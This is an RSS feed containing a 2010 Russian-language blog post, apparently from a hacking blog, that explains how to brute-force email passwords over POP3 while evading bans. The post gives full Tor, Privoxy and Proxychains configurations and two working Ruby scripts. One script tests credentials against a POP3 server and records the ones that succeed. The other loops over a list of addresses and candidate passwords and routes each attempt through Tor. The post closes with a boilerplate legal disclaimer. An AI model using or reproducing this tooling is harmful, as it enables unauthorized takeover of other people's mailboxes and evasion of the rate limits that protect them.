<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; proxychains</title>
	<atom:link href="http://blog.lukmus.ru/tag/proxychains/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>бессмертный универсальный брутфорс</title>
		<link>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:09:57 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[proxychains]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=14</guid>
		<description><![CDATA[Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы. Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить. Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;. Для передачи пакета через [...]]]></description>
			<content:encoded><![CDATA[<p>Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы.<br />
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.<br />
Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;.<br />
Для передачи пакета через &#8216;луковый маршрут&#8217; используют программу Tor.<br />
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать <a title="здесь" href="http://ru.wikipedia.org/wiki/Tor" target="_blank">здесь</a>.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg" alt="" title="0904bb7fb40d557d4b216309485c0878" width="517" height="415" class="aligncenter size-full wp-image-1034" /></a><br />
Далее я рассмотрю использование tor&#8217;а для брутфорса email&#8217;ов по протоколу POP3.<span id="more-14"></span><br />
Итак, нам понадобиться:</p>
<ol>
<li>собственно сам Tor;</li>
<li><a title="Privoxy" href="http://www.privoxy.org/" target="_blank">Privoxy</a> — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);</li>
<li><a title="Proxychains" href="http://proxychains.sourceforge.net/" target="_blank">Proxychains</a> &#8211; программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)</li>
</ol>
<p>Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:</p>
<p>Tor (/etc/tor/torrc):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">DataDirectory <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span>lib<span style="color: #339933;">/</span>tor<span style="color: #339933;">/.</span>tor
NewCircuitPeriod <span style="color: #cc66cc;">1</span>
Group toranon
User  toranon</pre></td></tr></table></div>

<p>Privoxy (/etc/privoxy/config):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">forward<span style="color: #339933;">-</span>socks4a <span style="color: #339933;">/</span> 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">9050</span> <span style="color: #339933;">.</span>
confdir <span style="color: #339933;">/</span>etc<span style="color: #339933;">/</span>privoxy
logdir <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span><span style="color: #990000;">log</span><span style="color: #339933;">/</span>privoxy
actionsfile standard  <span style="color: #666666; font-style: italic;"># Internal purpose, recommended
</span>actionsfile <span style="color: #b1b100;">default</span>   <span style="color: #666666; font-style: italic;"># Main actions file
</span>actionsfile user      <span style="color: #666666; font-style: italic;"># User customizations
</span>filterfile <span style="color: #b1b100;">default</span><span style="color: #339933;">.</span>filter
debug   <span style="color: #cc66cc;">4096</span> <span style="color: #666666; font-style: italic;"># Startup banner and warnings
</span>debug   <span style="color: #cc66cc;">8192</span> <span style="color: #666666; font-style: italic;"># Errors - *we highly recommended enabling this*
</span>user<span style="color: #339933;">-</span>manual <span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>share<span style="color: #339933;">/</span>doc<span style="color: #339933;">/</span>privoxy<span style="color: #339933;">/</span>user<span style="color: #339933;">-</span>manual
listen<span style="color: #339933;">-</span>address  127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">8118</span>
toggle  <span style="color: #cc66cc;">1</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>edit<span style="color: #339933;">-</span>actions <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>http<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
buffer<span style="color: #339933;">-</span>limit <span style="color: #cc66cc;">4096</span></pre></td></tr></table></div>

<p>Proxychains (/etc/proxychains.conf):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#dynamic_chain
</span>random_chain  <span style="color: #666666; font-style: italic;">#случайный сервер
</span>chain_len <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span> <span style="color: #666666; font-style: italic;">#максимальная длина цепи
</span>tcp_read_time_out <span style="color: #cc66cc;">20000</span>
tcp_connect_time_out <span style="color: #cc66cc;">20000</span>
<span style="color: #666666; font-style: italic;">#список серверов
</span>socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span></pre></td></tr></table></div>

<p>Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.</p>
<p>Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:</p>
<ol>
<li>скрипт инициирующий соединение, будет запускаться под tor&#8217;ом</li>
<li>скрипт инициирующий запуск первого скрипта.</li>
</ol>
<p>1. На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'net/pop'</span>
&nbsp;
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">!=</span><span style="color: #cc66cc;">3</span>
 puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
 <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
login<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
pop_server<span style="color: #339933;">=</span><span style="color: #0000ff;">'pop.'</span><span style="color: #339933;">+</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span>
paswd<span style="color: #339933;">,</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span>
&nbsp;
puts <span style="color: #0000ff;">&quot;/#{pop_server}/#{login}/#{paswd}/&quot;</span>
invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span>
begin
  begin
    Net<span style="color: #339933;">::</span><span style="color: #004000;">POP3</span><span style="color: #339933;">.</span>auth_only<span style="color: #009900;">&#40;</span>pop_server<span style="color: #339933;">,</span> <span style="color: #cc66cc;">110</span><span style="color: #339933;">,</span>login<span style="color: #339933;">,</span> paswd<span style="color: #009900;">&#41;</span>
  rescue Net<span style="color: #339933;">::</span><span style="color: #004000;">POPAuthenticationError</span>
    invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
    puts <span style="color: #0000ff;">&quot;FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">end</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
  puts <span style="color: #0000ff;">&quot;#{Time.now} can't connect #{e}&quot;</span>
  <span style="color: #666666; font-style: italic;">#retry
</span><span style="color: #990000;">end</span>
&nbsp;
<span style="color: #b1b100;">if</span> invalid<span style="color: #339933;">==</span><span style="color: #009900; font-weight: bold;">false</span>
  puts <span style="color: #0000ff;">&quot;SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">File</span><span style="color: #339933;">.</span>open<span style="color: #009900;">&#40;</span>outfile<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>sfile<span style="color: #339933;">|</span>
    sfile<span style="color: #339933;">.</span>puts <span style="color: #0000ff;">&quot;#{Time.now}  #{ARGV[0]}:#{ARGV[1]}&quot;</span>
  <span style="color: #990000;">end</span>
<span style="color: #990000;">end</span></pre></td></tr></table></div>

<p>2. На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span>
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">1</span> or n<span style="color: #339933;">&gt;</span><span style="color: #cc66cc;">2</span>
  puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>  []&quot;</span>
  <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
infile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">==</span><span style="color: #cc66cc;">1</span> then outfile<span style="color: #339933;">=</span>infile<span style="color: #339933;">+</span><span style="color: #0000ff;">'_out'</span> <span style="color: #b1b100;">else</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #990000;">end</span>
&nbsp;
begin
  <span style="color: #990000;">file</span><span style="color: #339933;">=</span><span style="color: #990000;">File</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span>infile<span style="color: #009900;">&#41;</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  puts <span style="color: #0000ff;">&quot;Inputfile error:#{e}&quot;</span>
<span style="color: #990000;">end</span>
&nbsp;
pass<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'yourfirstpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yoursecondpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yourthirdpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'  etc'</span><span style="color: #009900;">&#93;</span>
&nbsp;
str<span style="color: #339933;">=</span><span style="color: #0000ff;">''</span>
no<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span>
<span style="color: #b1b100;">while</span> str<span style="color: #339933;">!=</span>nil
  puts <span style="color: #0000ff;">&quot;#{no})&quot;</span>
  str<span style="color: #339933;">=</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>gets
  <span style="color: #b1b100;">if</span> str<span style="color: #339933;">!=</span>nil
    <span style="color: #990000;">mail</span><span style="color: #339933;">=</span>str<span style="color: #339933;">.</span>to_s<span style="color: #339933;">.</span><span style="color: #990000;">chop</span><span style="color: #339933;">!</span>
    pass<span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>paswd<span style="color: #339933;">|</span>
      puts <span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span>
      <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">#интервал между запросами
</span>    <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each
</span>  <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#if
</span>  no<span style="color: #339933;">+=</span><span style="color: #cc66cc;">1</span>
<span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#while
</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>close</pre></td></tr></table></div>

<p><strong>Теперь рассмотрим прицип работы:</strong></p>
<ol>
<li>скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: &#8216;proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}&#8217;</li>
<li>bash запускает proxychains</li>
<li>proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor&#8217;ом, где обновлять страницу скажем 2ip.ru)</li>
<li>по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации</li>
</ol>
<p>Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.</p>
<p>Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.<br />
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="" style="font-family:monospace;">Статья является плодом бурной фантазии автора и не призывает
ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только
на вас! Любые совпадения с реальными людьми считаются
случайными.</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
